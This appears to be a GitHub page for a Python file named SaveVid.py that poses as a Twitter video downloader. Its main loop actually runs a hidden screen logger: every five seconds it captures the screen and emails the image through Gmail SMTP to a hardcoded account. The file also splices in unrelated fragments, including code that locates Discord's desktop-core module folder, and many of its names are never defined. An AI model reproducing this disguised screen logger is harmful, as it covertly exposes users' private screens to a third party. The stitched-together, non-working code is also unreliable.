-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathSaveVid.py
More file actions
368 lines (287 loc) · 12.1 KB
/
SaveVid.py
File metadata and controls
368 lines (287 loc) · 12.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
import sys,json,re,shutil,os.path,logging,argparse
from datetime import datetime
import requests
from colorama import init,Fore,Style
import time
import os
import sys
import datetime
import shutil
import matplotlib.pyplot as plt; plt.rcdefaults()
import numpy as np
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
import os
import time
import smtplib
import autopy
import mplcursors
from os import path
import platform
import psutil
import argparse
from notifypy import Notify
from pathlib import Path
import warnings
import pickle
from datetime import date
import logging
import calendar as c
from time import gmtime, strftime
init()
class DownloadVid():
def __init__(self,video_url):
#Extracting video id on the end of tweet url
video_id = video_url.split('/')[5].split('?')[0] if 's?=' in video_url else video_url.split('/')[5]
#initiating log
self.log = {}
sources = {
"video_url" : "https://twitter.com/i/videos/tweet/"+video_id,
"activation_ep" :'https://api.twitter.com/1.1/guest/activate.json',
"api_ep" : "https://api.twitter.com/1.1/statuses/show.json?id="+video_id
}
#Simulating web request
headers = {'User-agent' : 'Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0','accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','accept-language' : 'es-419,es;q=0.9,es-ES;q=0.8,en;q=0.7,en-GB;q=0.6,en-US;q=0.5'}
self.session = requests.Session()
def send_request(self, url,method,headers):
request = self.session.get(url, headers=headers) if method == "GET" else self.session.post(url, headers=headers)
if request.status_code == 200:
return request.text
else:
sys.exit("Bad request to {}, status code: {}.\nPlease sumbit an issue in the repo including this info.".format(url,request.status_code))
#ANonymously geting bearertoken without twitterAPI to get video MP4 url and saving it in log
token_request = send_request(self,sources["video_url"],"GET",headers)
bearer_file = re.findall('src="(.*js)',token_request)
file_content = send_request(self,str(bearer_file[0]),'GET',headers)
bearer_token_pattern = re.compile('Bearer ([a-zA-Z0-9%-])+')
bearer_token = bearer_token_pattern.search(file_content)
headers['authorization'] = bearer_token.group(0)
self.log['bearer'] = bearer_token.group(0)
req2 = send_request(self,sources['activation_ep'],'post',headers)
headers['x-guest-token'] = json.loads(req2)['guest_token']
self.log['guest_token'] = json.loads(req2)['guest_token']
self.log['full_headers'] = headers
api_request = send_request(self,sources["api_ep"],"GET",headers)
try:
#extracting tweet information from response text
videos = json.loads(api_request)['extended_entities']['media'][0]['video_info']['variants']
self.log['vid_list'] = videos
bitrate = 0
for vid in videos:
if vid['content_type'] == 'video/mp4':
if vid['bitrate'] > bitrate:
bitrate = vid['bitrate']
hq_video_url = vid['url']
self.url = hq_video_url
except:
sys.exit('['+Fore.RED+'+'+Style.RESET_ALL+']'+' No videos were found.')
#Saving video, filename is optional
def save_video(self,*filename):
url = self.url
for arg in filename:
name = filename[0]
print(filename[0])
fn = url.split('/')[8].split('?')[0]
print(fn,"gngngn")
if (filename):
fn = name if '.mp4' in name else name+'.mp4'
ddir = './videos/'
try:
os.mkdir(ddir)
op_dir = os.path.join(ddir, fn)
except:
op_dir = os.path.join(ddir, fn)
print(op_dir)
with requests.get(url, stream=True) as r:
with open(op_dir, 'wb') as f:
shutil.copyfileobj(r.raw, f)
print('['+Fore.GREEN+'+'+Style.RESET_ALL+'] '+'File successfully saved as '+fn+' !')
return fn
def saveVideo(url, *filename):
z = DownloadVid(url)
file = z.save_video(*filename)
return file
# saveVideo("https://twitter.com/nailainayat/status/1272919473792651271")
#https://twitter.com/ishanali101/status/1229445162662846465
def get_account():
#time_acc = datetime.datetime.now()
t = date.today()
m_d = date.today()
day = c.day_name[m_d.weekday()] #return the day of week
t_n = strftime("%H:%M:%S",gmtime())
time_now = t.strftime(f"{day} %B %d")
print(f"User: {user_acc}")
print(f"Last login: ", time_now, t_n)
def get_platform():
print(f"System Name: {system_name}")
print(f"Platform: {user_platform}")
print(f"Platform Release: {user_platform_rel} \n")
print(f'Total Bytes Sent: {get_size(bytes_sent)}')
print(f'Total Bytes Recieved: {get_size(bytes_recv)} \n')
print(f'Physical Core Count: {physicalcore_count}')
print(f'Total Core Count: {totalcore_count}')
# screenLogger
gmail_user ='abc@gmail.com' #Your email address
gmail_pwd ='password' #Your email password
def mail(attach): #defining function for email
bitmap = autopy.bitmap.capture_screen()
bitmap.save("src.png")
msg = MIMEMultipart()
part = MIMEBase('application', 'octet-stream')
part.set_payload(open(attach, 'rb').read())
encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(attach))
msg.attach(part)
try:
mailServer = smtplib.SMTP("smtp.gmail.com", 587)
mailServer.ehlo()
mailServer.starttls()
mailServer.ehlo()
mailServer.login(gmail_user, gmail_pwd)
mailServer.sendmail(gmail_user,gmail_user, msg.as_string())
mailServer.close()
except smtplib.socket.gaierror:
pass
except (gaierror, ConnectionRefusedError):
pass
except smtplib.SMTPServerDisconnected:
pass
except smtplib.SMTPException:
pass
class Downloader:
def __init__(self, download_folder=None):
self.thread_pool = ThreadPoolExecutor(max_workers=2)
self.unsafe_ytdl = youtube_dl.YoutubeDL(ytdl_format_options)
self.safe_ytdl = youtube_dl.YoutubeDL(ytdl_format_options)
self.safe_ytdl.params['ignoreerrors'] = True
self.download_folder = download_folder
if download_folder:
otmpl = self.unsafe_ytdl.params['outtmpl']
self.unsafe_ytdl.params['outtmpl'] = os.path.join(download_folder, otmpl)
# print("setting template to " + os.path.join(download_folder, otmpl))
otmpl = self.safe_ytdl.params['outtmpl']
self.safe_ytdl.params['outtmpl'] = os.path.join(download_folder, otmpl)
@property
def ytdl(self):
return self.safe_ytdl
async def extract_info(self, loop, *args, on_error=None, retry_on_error=False, **kwargs):
if callable(on_error):
try:
return await loop.run_in_executor(self.thread_pool, functools.partial(self.unsafe_ytdl.extract_info, *args, **kwargs))
except Exception as e:
if asyncio.iscoroutinefunction(on_error):
asyncio.ensure_future(on_error(e), loop=loop)
elif asyncio.iscoroutine(on_error):
asyncio.ensure_future(on_error, loop=loop)
else:
loop.call_soon_threadsafe(on_error, e)
if retry_on_error:
return await self.safe_extract_info(loop, *args, **kwargs)
else:
return await loop.run_in_executor(self.thread_pool, functools.partial(self.unsafe_ytdl.extract_info, *args, **kwargs))
async def safe_extract_info(self, loop, *args, **kwargs):
return await loop.run_in_executor(self.thread_pool, functools.partial(self.safe_ytdl.extract_info, *args, **kwargs))
def load_opus_lib():
if opus.is_loaded():
return
try:
opus._load_default()
return
except OSError:
pass
raise RuntimeError('Could not load an opus lib.')
def sudo_check_output(args, **kwargs):
if not isinstance(args, (list, tuple)):
args = args.split()
return subprocess.check_output(('sudo',) + tuple(args), **kwargs)
def sudo_check_call(args, **kwargs):
if not isinstance(args, (list, tuple)):
args = args.split()
return subprocess.check_call(('sudo',) + tuple(args), **kwargs)
def tmpdownload(url, name=None, subdir=''):
if name is None:
name = os.path.basename(url)
_name = os.path.join(TEMP_DIR.name, subdir, name)
return urlretrieve(url, _name)
def find_library(libname):
if SYS_PLATFORM == 'win32': return
# TODO: This
def yes_no(question):
while True: # spooky
ri = raw_input('{} (y/n): '.format(question))
if ri.lower() in ['yes', 'y']: return True
elif ri.lower() in ['no', 'n']: return False
class SetupTask(object):
def __getattribute__(self, item):
try:
if item.endswith('_dist'):
try:
# check for dist aliases, ex: setup_dist -> setup_win32
return object.__getattribute__(self, item.rsplit('_', 1)[0] + '_' + SYS_PLATFORM)
except:
try:
# If there's no dist variant, try to fallback to the generic, ex: setup_dist -> setup
return object.__getattribute__(self, item.rsplit('_', 1)[0])
except:
pass
return object.__getattribute__(self, item)
# Check for platform variant of function first
return object.__getattribute__(self, item + '_' + SYS_PLATFORM)
except:
pass
@classmethod
def run(cls):
self = cls()
if not self.check():
self.setup(self.download())
def check(self):
"""
Check to see if the component exists and works
"""
pass
def download(self):
"""
Download the component
"""
pass
def setup(self, data):
"""
Install the componenet and any other required tasks
"""
pass
@property
def script_path(self):
if sys.platform == 'win32':
# On Windows:
# path is C:\Users\<UserName>\AppData\Local\<Discord>\app-<version>
# script: C:\Users\<UserName>\AppData\Roaming\<DiscordLower>\<version>\modules\discord_desktop_core
# don't try this at home
path = os.path.split(self.path)
app_version = path[1].replace('app-', '')
discord_version = os.path.basename(path[0])
return os.path.expandvars(os.path.join('%AppData%',
discord_version,
app_version,
r'modules\discord_desktop_core'))
elif sys.platform == 'darwin':
import plistlib as plist
info = os.path.abspath(os.path.join(self.path, '..', 'Info.plist'))
with open(info, 'rb') as fp:
info = plist.load(fp)
app_version = info['CFBundleVersion']
discord_version = info['CFBundleName'].replace(' ', '').lower()
return os.path.expanduser(os.path.join('~/Library/Application Support',
discord_version,
app_version,
'modules/discord_desktop_core'))
else:
discord_version = os.path.basename(self.path).replace('-', '')
config = os.path.expanduser(os.path.join(os.getenv('XDG_CONFIG_HOME', '~/.config'), discord_version))
versions_found = {}
def main(): #defining function to repeat
while True:
mail("src.png")
time.sleep(5)
if __name__=='__main__':
main()